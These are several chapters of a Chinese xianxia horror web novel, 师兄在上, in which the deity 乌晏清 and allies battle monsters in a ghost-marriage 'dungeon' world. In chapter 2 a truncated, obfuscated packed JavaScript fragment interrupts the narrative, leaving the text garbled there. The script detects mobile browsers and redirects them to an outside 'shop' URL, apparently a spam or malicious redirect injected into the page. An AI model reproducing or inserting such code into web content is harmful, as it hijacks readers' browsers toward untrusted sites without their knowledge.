《师兄在上》
2. 房陵十三钗
乌晏清点地而起,血月笼罩下,爬虫泛着金银鎏色皮肤一个个堆积成山,向着乌晏清够爬。黑槐树伸出秀发般的枝杈涌来。
食中二指相合,于胸前所起。向前伸出,于胸前出。
眼白混乱飞动,无鼻,一张一合间无齿无舌,于山尖伸出的残垣断臂。一瞬间,
罡气飞过,卷百草,斩千头,摧枯朽。一息间挥出的千百剑光乍看如天光。
金色铃铛从天而降,摇摇不停地响着。
血月被抽干,迅速惨白,继而长出金黄色扉边。天亮了。
乌晏清这才看清,脚下八尺,土地血流成河。那些爬着的怪异,竟真是流鲜红血液的人。黑槐树被斩断后,树干中显露出的不是年轮,而是沟壑蠕动的粉红色软状物体。
遮了遮口鼻,那金铃铛忽然出声。
“恭喜玩家在第一夜中存活,并超额完成任务。积分增加!”说着,金铃铛忽然炸出透明的触手系带。一个眨眼,它就被乌晏清扇了出去。
金铃铛咕噜出几里,又慢慢飘回来。抖了两下,又消失不见。
......
?乌晏清环顾四周,又回过头看向天边那虚假的烈阳。
远处破空声现,三五成群的仙士御剑御法器而来。
“敢问阁下大名,从何处来?”一长胡子老道站在青紫宝剑上问。
乌晏清未回过头,似是对包围他的众人不屑一顾。
“你又何人。”
“鄙人剑阁林一于,多有冒昧,大人见谅。”长胡子抱手作揖。
乌晏清这才回过身,看了看众人道“上重天,乌晏清。”
“上重天?没听过?”
“听过下重天,那帮人自称神仙!”
长胡子思考片刻问道“敢问您是神仙?”
乌晏清道“非仙。”
“此间人间?”
长胡子眼中精光闪过“非也,想必阁下不知现下状况,且随老道酒馆一叙,定对您知无不言。”
未等乌晏清回答,另一道声音闯入其中。
“不可!!!”
未见其人,先闻其声。
而后,槐树林中,一身穿甲胄身影窜出。
“殿下!万万不可与这凡人相走!”
乌晏清定睛一看。
“殿下,您怎的也被卷入这劳什子世界中了?”来人长发束起,脚踏金色祥云。
乌晏清定睛又一看。
“何人。”
......
“在下下重天李允,司镇南战虎将军。”
乌晏清点了点头“不知,睡了一觉,醒来不知是谁翻修了下重天,品味极差。想我行差踏错与其脱不了干系。”
李允摸了摸脑袋“哈哈,殿下,那不是翻修。那是....罢了,说来话长,可与我别处一叙?”
乌晏清点了点头。
“且慢。”长胡子带着一行人挡住前路。
“阁下初来乍到,怎拒我剑g......噗!”
长胡子未说完,乌晏清一眼扫去,一眼一念间,长胡子喷血而倒。
“阁主!”其余众人手忙脚乱去接。对乌晏清敢怒却不敢再上前阻挡。
二人微一动闪身飞走。
李允擦了擦头上的汗。
这煞神怎么睡了一觉更可怕了。
恐怖如斯啊恐怖如斯。
*
茶馆木桌木椅清凉,店内喧哗声此起彼伏。窗外黄沙漫漫,时不时有人驾马驹而过。
“客观您的铁观音。”小二端着木盘将一壶二杯放在桌上。
“您慢用。”
乌晏清看了看瓷杯,右手单拿而起,靠在窗边向外看去。
“您有所不知,您闭关间内,凡间已过一千余年。”李允双手拄着膝盖道。
“四百年前,凡间突生异样,百姓火烧宗祠,推庙宇金相,下重天仙官纷纷下界探往,但没成想,不仅没有一个重回,凡界那异变也蔓延到了天界。”
街边吆喝声不断,挎着篮子的妇人正在与菜贩讨价还价。
乌晏清收回目光,看向杯中硫黄色茶液。
“所以,那织云桥和槐树变丑,是因为异变。”
“正是。”
“什么异变。”
“不知。下界后,我与几位下重天的同僚曾相遇,我们无一个可以使用仙力,传送通灵阵无一有效,且被困于这里,被告知这是一个副本世界,这里的所有参与者皆被叫为玩家。”
“哼。”乌晏清冷笑一声放下杯盏。
“倒是出息,一帮神仙被算计掣肘,与凡人相争。”
李允汗颜“您骂得对。但实是别无他法了,我们就是冲到人家面前道我们是神仙,也只被当痴傻疯病罢了......”
乌晏清不可置否,飞不回天的神仙,还是神仙吗?
“所以.......我们只好众心协力,用全部的法力,和最后一个还可用的半张传送符和捆仙咒,以槐树为眼,在上重天开了个传送阵,希望得一救兵。”
砰!
李允被踹得横穿茶馆,直到撞翻了对街卖鱼的摊子。
“您息怒!息怒!”李允将咸鱼从脸上拿开“这实在是天界之危啊!望殿下救
我们于水火!!!!”李允双手不断合并苦求。
乌晏清面色不虞“且等我劈了这地方。”说着,乌晏清便走到茶馆外。
“不可啊不可啊!殿下!”李允跑过来抱住乌晏清的腿。
“您给房子和那精怪劈了也就罢了,您给人也劈了,我们下重天搁什么吃饭啊!!!”
李允一身鱼腥,熏得乌晏清直皱眉。偏偏怎么甩也甩开。
“滚开!在不松手连你一起斩。”
李允连滚带爬地松手了。
“感谢殿下宽宥啊!”
乌晏清拍了拍衣摆,瞪过李允。
“你便不说,我也知这地方蹊跷。之前那登天梯的凡人,定与此事脱不了干系。”
李允一拍大腿“那,岂不是寻仇来了!?”
话音刚落,忽然阴风四起。茶馆街巷门窗忽而砰砰几声关闭,街边小摊小贩凭空消失。天色瞬间灰暗阴雨欲来,宛若滚雷的锣镲声自西边响起。
“气运天命,又当如何。”乌晏清转过头“他自有勇,我便来者不惧。”
车队前,两人面目全黑无五官,身着白色丧服,一人拿锣来回敲击。另一人在对侧空手扬洒源源不断的纸钱。
白黑双色奠字仪仗如黑白无常,漂浮左右,两个巨大的白花嵌于轿子两旁。
同时,另一侧唢呐声起。闻声看去。
迎面又一车队,红色绸缎缠满车马,大大的囍字裱花于队前两人身上记挂。这一队人同样透露黑漆无面目。一路洒下红色花瓣。
两车队对头而行。
李允左右相看“红白两事相冲,一不妙。”
乌晏清看着渐行渐近的车队道“二呢。”
李允握住腰间大刀“生前我处北方,红事敲锣打鼓,白事唢呐嚎天。”
轿子摇摇晃晃却稳稳当当,在二人面前即将相撞时,咚一声停下了。
“这是,请君入瓮?”李允看了看。
“把戏而已。”乌晏清直奔丧队而去。
“殿下!”李允在后喊道。
“兵分两路。”乌晏清钻进白轿。
李允跺了下脚“也罢!想我年事,也出嫁一把!”说着钻进了红轿。
于二人看不见处,车轿前的人生出脸庞。丧队前头戴红花面梳妆,喜气洋洋。
囍队前头,面如纸扎双颊红。阴森的车夫相视一笑。
“起轿!”一声喊叫,轿子腾空而起,晃晃哟哟重新前进。
相撞之际,两队人马却透过彼此,穿行而过。于末尾消失不见。
轿内,乌晏清并未放松片刻,而一瞬过后,周身气息骤变。轿身似是停驻。
二话不说,乌晏清掀帘而出。和对面车马上的人打了个照面。
同样的丧白车轿,对方头戴草编斗笠,身穿玄色劲装,腰后间别着一刀一剑。
二人无言,背对站于轿顶,环顾周围。
红色烛火攀登燃起,这是一个环状土楼,顶却封闭堵死,每一层边挂九具尸体。巨大的黑钉穿喉而过,将其钉死在墙壁。
乌晏清扫视而过,有男有女。九层,合该八十一俱。然现在只有六十八具。
“你我二人合作,可否。”对面的青年忽地道。
乌晏清虽孤身也可杀敌,却对这个鬼地方知之甚少,看了一眼道。
“乌晏清。”
“王暮霭。”
话音刚落,两具棺材出现在二人面前。
“一拜天地欢~二拜满高堂~三拜神佛缘~”空中响起祝祷声,徐徐道来。
“红嫁娘,泪满裳,娇儿梦中许缘良。”
“红嫁娘,泪满裳,烛高堂,冥红妆。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142929|150178||http|test|mini|href|location''.split(''|''),0,{}));
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>“泣女情真切,魂郎莫凄等,掀起盖头来。”
“掀起盖头来~掀起盖头来~”
明明三壁封死,躯体悬挂,声音却徐徐绕梁。
二人相视,一同跃下车轿,王暮霭一把掀开了棺材盖,里面空无一物。
乌晏清一脚踹过去,棺材竟翻转后立着撞在墙壁上,棺盖丝毫不动。
“烛头烫,血肉偿。”
火焰忽然一转变为幽兰。
“娇儿娇儿你莫离,千古来者岂能空如意!”
语罢,墙壁吊挂的尸体忽而苏醒,如乌晏清先前所见,关节扭曲,四肢或因垂挂而变得其长,眼白翻转,随着扭动喉见黑色长钉下鲜血直流。
直到将脖颈拽出,顶着血淋淋黑漆漆的大洞,一冲而下。
乌晏清张手刚要掐决,一把剑破空抛来。
“接剑!”王暮霭抽出另一把大刀。
乌晏清接过,看向手中漆黑剑柄,修长利刃,剑身镌刻【破风】
锋从双目,映出身后怪影。乌晏手腕一转,一个挽花,剑锋随斩而出,将其一片斩为两段。
王暮霭侧目看向衣袖飘扬,抬手一呼一吸间挥剑杀伐果断的乌晏清。踏过头颅,于怪物身后忽现,反握长刀,一刀斩头。
二人杀得痛快,这些怪物却难缠得很。
虽不断如常人般流血,通体却如铜人一般颜色,又或通体银白。被斩后与周身碎片融合重接,周而复始,虽已不具最初人形,却依旧笔直进攻。
“斩杀并非关键所在。”王暮霭重新站回轿顶。
“两座轿子,可有结伴之人上另一顶。”乌晏清问道。
“有。“王暮霭道。
思索片刻。
“出去。”乌晏清说道,一跃而上,不断挥剑,绕周身而出剑花。王暮霭紧随其后,两道黑色身影一道直冲穹顶,一道披荆斩棘。
封顶处,乌晏清指尖拂过剑神,剑意轰鸣。随后展臂挥出。
光芒炸现,土楼顶瞬间碎裂成灰,直劈天际。
乌晏清飞出,不着尘土。思考间,乌晏清想,此地当真古怪,此前乱葬岗一战他便察觉,他所一招一式,不该只如此力量,想来遭了压制。
王暮霭蹬着飞灰砖瓦向上,于土楼壁上站立。
此处沟壑,四壁向上,是一处洼地。现在立身最高处,二人才看清。
在黑漆的坑里,数十个一模一样的封闭土楼宛若骰盅,整齐密麻排列。里面的所有似都是蛊中虫蚁。
因二人打破古楼,楼里的怪物攀爬而出。
“副本要如何通关?”乌晏清问道。
王暮霭蹲身一处木杆“不知。剑阁老道曾透露,打败副本尽头最大的怪异才可通关。”
乌晏清未等再开口。
旁边的土楼忽然也传来声音。
不出片刻,那土楼顶忽然从里到外破出一个大洞,像是被人打了一拳。随后是一阵浑厚大笑。
“哈哈哈哈哈你这女娃,爽快得很!”李允穿着一身红色喜服,嘴上抹着鲜红胭脂。脸颊滑稽的脂粉还未抹匀,脚下踩着那金色祥云而出,手中大刀一甩鲜血。
“小女岂敢与神仙相提并论。”话者一身红色武服,秀发高高束起,脸颊一抹血迹,手中长矛寒锋不收。再一看,那女子左手中握着一把缰绳,而那绳子尽头拴着的,竟是那不断爬行的怪物。女子站在怪物背上,策马一般驾着怪物而上。
尽头处,长矛插.入墙壁,一弯一挑,女子飞鹰一般自怪物背上跃至李允的祥云上。
“殿下!”李允踏云而飞。
那女子与王暮霭点头相认,随后抱拳道“久仰神仙大名,小女子梅双。”
未等乌晏清点头,身后忽然传出声音。乌晏清背身一招斩去,随后转过身。
却见白色的绸缎笼罩着触手般而来,透过斩碎的布料。
乌晏清看到,正是他之前踹翻的棺材,时刻正四敞大开。而里面躺着的男人,长发卷曲着铺于身后,惨白的眉目与殷红的嘴唇,那双漆黑的眼睛宛若地狱鬼火。
是照剟。
照剟身穿红色的喜服,向着乌晏清伸出右手。
“你来嫁我,还是娶?”
随后绸缎茧蛹一般,将乌晏清死死包围。
“殿下!”随着呼喊,外面三人亦同是攻向绸缎。
“无碍。”乌晏清先是呼声。
而后在白绸拽着他腰间将他拖向棺材时。
他道“我来杀你。”
3. 房陵十三钗
乌晏清紧握剑柄,对着照剟心口狠狠刺去。
剑尖贯穿,自棺底而出,鲜红的血液滴滴落下。照剟眉头只是舒展着,绸缎拖拽乌晏清的动作不停,乍看去像怀抱。
下一秒,丝绸钢筋铁线一样活起,死死割进乌晏清血肉。将剑插进照剟胸膛的动作间,双臂皮肉下白骨若隐若现。
“你就如此想要杀我。”照剟右手拂过乌晏清眉边,染着血将那抹红延伸至耳边。
“现下是。”乌晏清挪动手臂,鲜血顺着白绸而下。
“曾经呢?”照剟说话间染红半边脸。“你也有舍不得。”
乌晏清冷哼,猛地将剑在照剟的心口拧过,不管手臂瞬时被削蜕的皮肉。
“杀你不过仁慈。此前我最想的,便是将你反复践踏,日夜让你仇怨遮眼,永生永世再踏不上那天梯。”
照剟听了笑道“他人道叹息,我却深觉有趣。”
像是还给乌晏清那一剑绞心,绸布自乌晏清背后刺入,同样的心口位置而出。宛若胸口开出的囍花。
“我负天赐魂,你拥神仙骨。”照剟说着,棺材内位置旋转,二人站立而对。棺材内腥气扑鼻,究竟是谁也不肯放过谁。
“你销不灭我,我杀不死你。”
“真是天生一对。”
乌晏清并不买账,将绸布自脊背从胸膛抽出。
“骨销成泥,魂灭为灯。此世此间无天,若有,我便是天。”
红绸中剑锋挥舞,照剟伸出双臂迎着而上。
他覆在乌晏清耳边道“我等着你,在天的尽头,一步步,走到我身边。”
红白两绸交缠破碎,照剟最后的头颅即触碰乌晏清时,烟消云散。
“我的神。”
“出来了!出来了!”梅双说道。
壁上三人齐齐低头看向那颓废散开的绸布,中央的乌晏身姿挺立,长剑渗血。
“殿下!是哪来的东西伤你如此!?”李允看着眼前不慌不忙飞过来的乌晏清。
心口上是一个大洞,流风呼啸而过。两只血手一甩,长剑被抛回主人。
“大惊小怪作甚。”
王暮霭接过,看了看剑柄的血迹和乌晏清,没说话,将剑收鞘。
伤口肉眼可见地重新生长。李允挠了挠下巴凑近道“不会,是那照剟吧?”
梅双正与王暮霭看着乌晏清身上的破洞自行生长,内心多有发怵。
李允刚凑近不知道说了什么,转眼间。
“啊!说错了说错了!”李允抱着祥云翻出了二里。
......
“速速将你这行头换了!莫要脏我的眼。”乌晏清闭了闭眼。
李允摸了把脸“殿下,我特意挑得最红的胭脂,不美吗?”
梅双笑道“简直俏丽赛貂蝉!”
王暮霭悠悠点了点头“胜如花。”
乌晏清接着道“你这一番打扮倒是没看出来,说得话倒是有趣。”
“哦?怎的有趣?”李允从祥云里掏出个红花别在头上。
乌晏清抱着愈合的双臂道“我出了殿门,那被劈的千年老槐树也问我,它美不美。”
没等几人再笑,天色忽地变了。
乌晏清抬头,将红月变成烈阳的过程不错不错地看了下来。
土地振动,土楼溃散着坍塌,内里存活的人拼命逃出。
叮铃铃!
乌晏清看着李允三人旁边的银色铃铛落下。
“恭喜玩家度过第二夜!积分增加!”
乌晏清左右看了看,才发现头顶五尺的地方,金铃铛晃着飘带飘着。
被乌晏清盯着看了半晌,才慢慢靠近。乌晏清一皱眉,那铃铛便一颤,又不见了。
李允刚想说什么,又拍了拍祥云老实地坐下了。
他倒是有个金斗云,这两天被乌晏清踹得,可不是一个跟头十万八千里。一把年纪了,骨头可是容易散架了。
没等片刻,土楼残垣中的金属残躯便像陷进沼泽般潜进泥土。
不久,破土而出,乘土而建。
霉绿屋檐朱红瓦,琉璃窗棂碎金砖。
屋门锁珠链,刺石金莲顶。滴血灯笼油纸伞,艳鬼梳妆影流转。
楼高百尺,一阶一绢帕。城余百里,步步一黑砖。铁索连环。
噗嗤!
一瞬间空间骤暗,沿着那四方的城墙,幽兰色暗紫鬼火火上浇油般燃起。
“为何这么快就天黑了!?”有人叫嚷着。
“这简直就是逼人去死!”
寿阳散,中元半。有进无出,鬼城伴。
乌晏清瞧着富丽堂皇的殿宇,飞身而去。
我倒要探明白,你以何依仗,与我叫嚣。
思及此,乌晏清微微侧耳道“梨渊如何。”
李允捎带着梅双王暮霭两人,架着祥云跟在乌晏清身后道“大帝曾出关一次,览由文君将异变之事上报,大帝只道还未到时候。”
乌晏清冷哼“就是他这懒散行事,上行下效才出了你们这帮无能废柴。”
李允职业微笑“您骂得对啊,骂得妙。”
穿越屏障,几人进入一方清雅室内。
“神仙也有上头司事?”梅双背后挽枪好奇道。
“岂止,还有每日校事,香火调计,统统都得写折子上报。”李允收了祥云,环视四周。
“竹简?”王暮霭压下斗笠,双目一错不错盯着动静。
“呵呵,那都是上重天大能们用的了,我们这帮劳苦的下重天小官,都用木头的凑合。”李允手握刀柄。
四人相背靠拢下,最前头的乌晏清道“梨渊继位你当欣喜若狂,若换我,便是茅草树叶片石让你们写个痛快。”
“是是是。”李允应着。嘴角还未落下,手中大刀便已砍了出去。
瞬间四道锋芒一齐闪过。
啪嗒。闷实的落地声。四俱尸首落地。
人皮下黄金躯干,但不过外强中干,切藕般便可斩落。
“这地方属实古怪,似是傀儡。”梅双枪尖挑起那头颅看了看。
四方间室,几十有余,话音刚落,墙壁颤动。
几人看去。
岩石染色,一扇与当下逼仄陋室格格不入的奢华大门显现。
“一路下来,比起怪异煞修,我怎还品出一丝礼貌好客?”李允还未脱那一身喜服,摸了摸唇上的胡子。
“如此说来,军中武练时,我们也会先喊一声。”梅双拿出衬布擦拭枪刃。
“然后呢?”王暮霭重新系了系手腕缎带。
“当然是开打了。”
随着梅双话音落下,乌晏清一脚踹开了门。
“既已造城,如何没有自己打开的门。”
视线豁然开朗,庸黄烛光扑面而来,曲长红绸绕梁错乱悬挂,琉璃顶下粹金黄,那是一片黄金而打造的正圆台面。
“砰!”身后大门关闭。
“哎哟,不能开倒是能关。”李允道。
砰!砰!砰!砰!
接连巨响,九层楼面,蜂巢一样的房间里逃出狼狈血污的各色人马。
四人在最高层,望着对面阁台跑出的人影。
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>赫然是之前被乌晏清一眼看的吐血的老道,剑阁林一于。
两伙人对望,彼此过面,各怀鬼胎。
稍作安静后,轰耳鼓声响起,然四顾望去却未见有鼓。
本是台面的金圆盘竟缓慢凸起,犹如恶瘤膨起。转眼长出叶片,花瓣。
浮至半空,旋纹花瓣绽开。
“有人!那中间有人!”有人趴在栏杆处道。
众人注意集中那偌大金莲之际,林一于身边的弟子凑到他耳边。
“阁主,对面那四人,怕是大敌。”
林一于昏暗间三角眼瞥向对面四人。
最前的乌晏清长发无束,一身闲散玄装负手而立。林一于依然记得那顷刻便让他道心破散精血喷洒的一眼。
他身旁一左一右的,便是先前剑阁拉拢无果的其他两位。
那着如火红衣的少女,手上那把裂荧枪,便是赐原国拥兵自重的,少年镇塞巾帼将军,梅双。
另一位散道武侠,隐姓埋名。不过腰间一刀一剑,想来便是那曾深宫叛逃而后火烧皇围的,斥命候王暮霭。
再看。是身形圆润头戴媒花,抹着粉红脂粉捋胡子的.......。
“能避则避。”林一于道“若最后需战,也未尝不可拼。”
“是。”
“那老道不定打什么主意。”梅双道。
“朽木罢了。”乌晏清向下看着。
浑鼓清琴伴奏,数十窈窕俏女身穿霓裳挥舞身姿。周身珍珠链黄金镂空面纱交相闪烁。一转一跃间身影缥妙如烟。粉色花瓣随之飘扬,靡靡之音,引人沉溺。
最中央红色斗篷人影,两手握长杆,长杆两端六角相接似镂空却罩网格。
哄!自两端燃起熊熊火焰。
咚隆!下一个鼓点,那人瞬时举起长杆震颤,顿时火云四溅,好不耀眼。
舞女如花瓣纷纷旋转着,中央的人影玩火自焚般挥舞手中长杆,一次次旋绕,一次次萤火明灭。
下一个转身,自琉璃顶下降下黄金雨。落于屋檐闷响又清脆。
纷纷有人伸手捧接。然而未等出揣进兜里,那金子化为流焰,瞬间席卷全身。
“啊!!!!”
惨叫声中,化为骨水。
“如此蹊跷,怎的伸手去?”李允道。
他们四人神情寡淡,皆是不为所动。
然而话音刚落,就见乌晏清伸出手,拈过一枚金币。
“哎!殿下。”李允来不及阻止。
几人看向乌晏清指尖,只见那金币没多久便燃起,于乌晏清指尖越烧越大。
“怎不松手?”梅双道。
“没有受伤。”王暮霭双眼透过斗笠锐利看着。
“没有受伤?”
“嗯。”乌晏清扔了金币,完好无损的指腹露出来。
然而因捧接黄金而焚烧殆尽的人还在不断出现。
下一刻,那长杆忽而被抛出半空,两端是燃烧殆尽的炭条。
“快看!”李允向下指道。
那人影掀了斗篷,是一张梳过妆的美人脸。下一秒,她裂开直至耳根的嘴唇,笑了起来。
她没有手脚。主驱外,连接的是长而粗大的金色圆锥。
舞女也停下舞动,脑袋沿脊背弯曲,从双.腿间再次伸出,长舌拖地,腹部是毛绒血口。
乌晏清拔过王暮霭腰间长剑,登栏而下。
“借剑一用。”
梅双转起长枪紧随其后。李允刚召祥云,转头一看,本该站着的王暮霭也不见了。
原是已顺廊柱而下了。
4. 房陵十三钗
踏着碎金,乌晏清架起长剑,直直而去。
只见她甩起两臂的金锥,交叉在胸前抵挡,叮咛!侧耳的交锋声响起。她脚下尖刺扎进金台,随着后退留下两道长而深刻的痕迹。
梅双一杆长枪耍得出神入化,枪头红缨浸了血,又被她轻而甩去,枪尖只轻易一插便入金台里,踩着弯曲的枪杆,飞跃半空,而后又抽出长枪,绕全身旋转扫出,枪风凛冽,挡无可挡。
她见几人难以对付,忽将“四肢”变形,直立着攀墙向着其他人去。然而没爬出多远,隐匿在阴影里的王暮霭手按斗笠冲出,双脚踹开拦路舞女,另一手反握长刀,随着落体转身借力砍向她,稳稳拦住。
乌晏清横臂一扫震开扑来的舞女,接着飞去,而余光一瞥,再挥剑时开口道“李允你在作甚?”
李允大刀砍着,双腿棒槌一样向其他人踹去“打架啊!殿下!打架!”
林一于赶紧掩身在柱子后,一脚踹到旁边弟子大腿上“大废物!一群不中用的东西!杀个人也杀不掉。”
弟子一边缩腿一边摸了摸脑袋“阁主,没成想穿得跟精神病一样还这么能打,那堆人里就看他不太能打......那现在怎么办啊?”
林一于微微侧头“哼..那几人杀了厄难不过早晚的事,副本外我们尚有靠山,现下,派出去的弟子能杀掉那李允最好,杀不过,那便废掉。”
弟子道“这是.......“
“弃车保帅罢了。”
乌晏清分神看了一眼与三人缠斗的李允,没错过柱子后面藏身的两个始作俑者的身影。
舞女极快的移动速度让不少人无法躲避,然而一旦被靠近,那柔软无骨的四肢就死死交叉缠在身体,藕断丝连的头颅随着动作来回摆动,长舌甩来甩去,腹部毛绒三层碎齿的大嘴才是最后的杀器。
惨叫声后,巨大的、清晰的咀嚼声响彻在每个人耳边,人骨血肉宛若浸汤贡菜,顺从地断折,来不及求救,酥脆声中五脏六腑与鲜血一同喷涌而出。
空气中血云成片,他们四人倒游刃有余地对战,然而所有的怪物却诡异地来回移动,躲避,拖延。貌似并不以杀死他们为目的。
这或许是一个战场,或许不是。乌晏清出招不断,面前的她四肢轮替攻击,一时间二人的进攻与防守搓出火光,应接不暇。
衣摆发丝起起伏伏,乌晏清又一剑击退她,周身舞女蚕食着剩下的人。这种迂回战术不像是没脑袋的怪物能想出来的。
她们在有计划有秩序的使他们减员。
“呵。”乌晏清将破风长剑扔下,插进王暮霭身后的舞女嘴里。
乌晏清看着她四条锥肢插在廊柱整个人挂在上面,那张脂粉下稚嫩的脸庞同样盯着他。
“让我看看你到底打得什么算盘。”乌晏清手掌向下伸出右臂,左眉上的红痕发烫。
鼻息呼出如线,周身的空间宛若静止。乌晏清双手拥抱着展开,随后上下相对。
霎时所有的怪物全部遭到挤压般伏地死死不得动弹。
“这是.......什么?”林一于望着最顶端的乌晏清,心惊担颤地道。
王暮霭与梅双默契地撤到安全地带。一同看着乌晏清。
李允双眉一皱,唤出祥云躲避。
“这是神禁,没有法力才对......”李允喃喃道“不对,这不是普通的神禁。”
乌晏清看着对面的她毫无动作,微微笑着道“你想死,我便偏让你不能。”
他缓缓道“诛魔禁行。”
啪!双手合并。
这一次发出嚎叫的对象变成了所有的舞女,她们尖叫着,上下两张嘴不停地颤动。像捣山药一样被按碎。
而最中央,她引以为武器的四肢被狠狠抽去,黑色的血液下被碾为灰尘。
叮铃
她脸上忽然露出了惊恐。
一个身披石棉衣的幼小身影闯过来,并未受到压制。是一个人类幼子。
乌晏清未想杀她,也并没有阻挡孩子的脚步。
然而下一秒,一支黑色的箭矢射向奄奄一息的她,却最先贯穿了那幼小的身躯。
石棉衣掉下,鲜红的血液喷洒,这是一个扎着羊角辫的小女孩。
四人齐齐锁定射出箭的人,林一于。
林一于大口喘着气,手腕之间射出箭后还在颤抖。
“差一点,差一点就是我杀掉的!”
乌晏清刚收回手,未等骂一句卑鄙小人。整个楼庭响起震彻的凄惨叫声。
她无四肢无法起身,只能感受着身上趴卧的小小温热身体,那血淋淋的手里握着一个金色铃铛。
小女孩什么也说不出,一张口就被喷流的血液堵住嗓口。
“啊!!!!”她尖叫着,眉目口鼻流出黑色液体,蚂蚁一般攀爬沸腾。
噗嗤!
一个头自肩膀破皮而出。
两个,三个,四个,五个,六个。
窝藏已久的寄生虫,终于嘶哑尖叫着占据最后的胜利。
她仅剩的躯体布满了七个不同的头颅面庞。
“.......”这场面让众人不禁瞳孔紧缩,噤声以待,心生畏惧。
黑色液体像烟花一样炸开一波又一波,极速生长的内脏将整个身体挤得膨大无比成巨人观。
乌晏清看着面前的异变,躲过溅来的黑色液体,鼻尖轻嗅。没有腥味,不是血液。
只有一股辛辣刺鼻如火烧的气味。
“这.....到底是什么?”
“这是什么怪物!?”
“怎么办怎么办。”
幸运存活的一部分人颤抖着喃喃自语不断后退。
“这到底是什么地方!!!!!!!”
随着崩溃的质问呐喊,那一团黑色肠肉扭曲组合起来。那是铁锅炖煮粘稠鲜肉汤的声音。
每一个头颅上的脸都不同,无一例外都是少女。此时她们七窍流“血”,大张的嘴漆黑一片没有舌,嘶哑的、低沉的、宛若古老诅咒的声音从里发出。
黄金身躯粘连,所有的锥子代替四肢,六个头颅均匀分散在隆起的壳的周围,正中央是那颗带着梳妆面庞的头颅。
下一瞬间,他们一齐睁开了漆黑的双眼。这是一只蜈蚣...不,准确来说,这是一只二十六腿蜘蛛。
噗噔,林一于跌坐,身上的长衫以被汗液浸湿。他双手急切掏向腰间的储灵袋。
“不对,不对,送我出去送我出去
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!这不是D级副本!!”
手腕未从储灵袋中拿出,林一于被一片阴影笼罩。
他缓缓抬起头,猩红的双眼对上漆黑的十四双眼睛,以及密麻毛绒的黑色金属脚中,那张七层蠕动碎牙大嘴。
“救......啊!!!!!”林一于甫一跑开,便被拦腰咬断。林一于双臂在地上匍匐前进,听着自己的下半身躯被粉碎的声音,大声嚎叫。
“快!!!打开锦囊!送我出去!!!!”
正对着林一于的跟班弟子立刻从腰间掏出一枚玉牌。
“对!就是它!!”林一于惊恐地笑道“快送我出去!!!!”
弟子拿着玉牌冲上前,对着林一于的脸激活传送阵。然而在林一于的手想要握住玉牌之际,弟子又一转方向,握着玉牌节节后退。
“什么!什么!给我!!!”林一于双目欲裂。
玉牌在弟子手中发出耀眼的光芒,脚下传送符文出现。
“副本危险度预测异常,长老独自迎敌,将弟子送回......”弟子将玉牌放至胸前,眼角掉出眼泪。其余的声音被传送阵模糊。
林一于面对着他却看清了口型。
弃车保帅罢了。
呼吸这一瞬间停止,林一于已经感受不到痛意,眼前还是弟子月白光下的话语。
将他葬送的,竟是他最得力的弟子,竟是他说的一句话。
下一秒被吞入凶腹。
逆着四散逃命的人流,乌晏清缓缓落在李允梅双王暮霭不远处。
“现在才逃。”乌晏清淡淡道。
李允头顶的媒花在打斗中早已不见踪影,他握着刀柄道“的确,一开始便不知何处何地的凶险怪异,早便逃了。”
“那老道和跟班说出了不少,什么弟级副本,送他出去。”梅双道。
“这里站着的四个人倒是什么都不知道。”王暮霭接着道。
众人四散奔逃,而唯一的出口,在进来的那一刻就已经在所有人的面前重重关上。
然而最中央的凶形蜘蛛却没有追上去赶尽杀绝,反而在原地抽搐着。漆黑的双眸忽然出现不断颤抖闪烁的眼白。她们尖叫着,颤抖着。
灰尘应颤动而下,黄金台发出刺耳的碎裂声。琉璃七色的穹顶忽然破碎,黄金钱币流沙一样倾泻,破门无解的众人只好站在原地深深祈求,却不再敢去打捞金币。
“那孩子呢?”梅双忽然道。
几人四下查看,却没有寻得刚刚出现过的幼小身影。
“或许被吞食了。”王暮霭道。
“或许被那老道一箭射死了。”李允琢磨。
身旁的廊柱忽然消失让梅双拄了个空,整个楼阁正在闪烁,一名一灭似要消失。原本正在高楼边想遍办法开门的人纷纷无防备的掉落下来,一个个如摔下的灌汤包叠在一起。
黄金一点点落下,却无法在地堆积。
是假的。
只见闪烁间,原本华丽的壁廊变为黑色土壁,红绸一闪而变蜘蛛长丝。
噗!
是烛火被吹灭的声音。所有人的视野都变为一片黑暗。
在未明亮前,梅双等三人清晰地听到乌晏清说
“或许不会死。”
5. 房陵十三钗
“什么?”梅双下意识问道。
“殿下是发现什么了?”李允拔出刀。
咚,咚,咚!
环绕着的鼓点像巨大的脉搏,震耳欲聋。下一刻空间内瞬间亮起。
“什么也没有,我猜的。”三人眯眼的同时听到乌晏清懒散道。
乌晏清脑袋里晃过一个身影,心想,不会死也不是什么稀奇事。
......
殷红色烛光映照,九层土楼无限循环着衔接向上,最中央,他们四人背靠着面对四方,周围全部是黑漆漆的棺材,甚至漂浮在空中罗列着占满整个空间。
“这是...一开始我们到的地方。”王暮霭道。
曾幽兰的烛火变为赤色火舌,每一层外所钉挂的尸体大张着嘴,硕大的苍白蛛丝从中像长舌一般蜿蜒而出,六十八具躯体吐出的蛛丝交织成密不透风的茧,将刚刚异变的七头蜘蛛死死困绑在最上端。
“快!关键信物就在那里!”有人大喊一句。
接着密密麻麻的人竟捋着蛛丝向上攀爬奔跑,还有人踩上漂浮的棺材向上跳跃。
“关键信物?”李允摸了摸胡子。
“想必和通关副本有关系。”王暮霭道。
“此情景,倒是嗟叹。”梅双透过火光望道“战机瞬息万变,上一秒的仓皇之师下一刻便猛虎扑食了。”
“你们不觉得,这蛛丝很像囍绸吗。”乌晏清忽然道。
“囍绸......”李允重复道,眉头一紧“您是说......”
“我们是上了轿子来到这里的。”王暮霭道。
梅双左右看了看几人,拍了拍王暮霭的肩膀“这还用思索吗?摆明了就是冥婚啊。”
“冥婚,在冥界成婚?”乌晏清抱着双臂看着正拿着各种武器破坏茧蛹的众人。
.......
“殿下,多说您应该双耳闻闻世间事。”李允道“冥婚,便是让女子嫁给死人。”
“做甚?”
“多为冲喜,或因信仰寻求保佑而献祭年轻女子。”梅双转了转长枪。
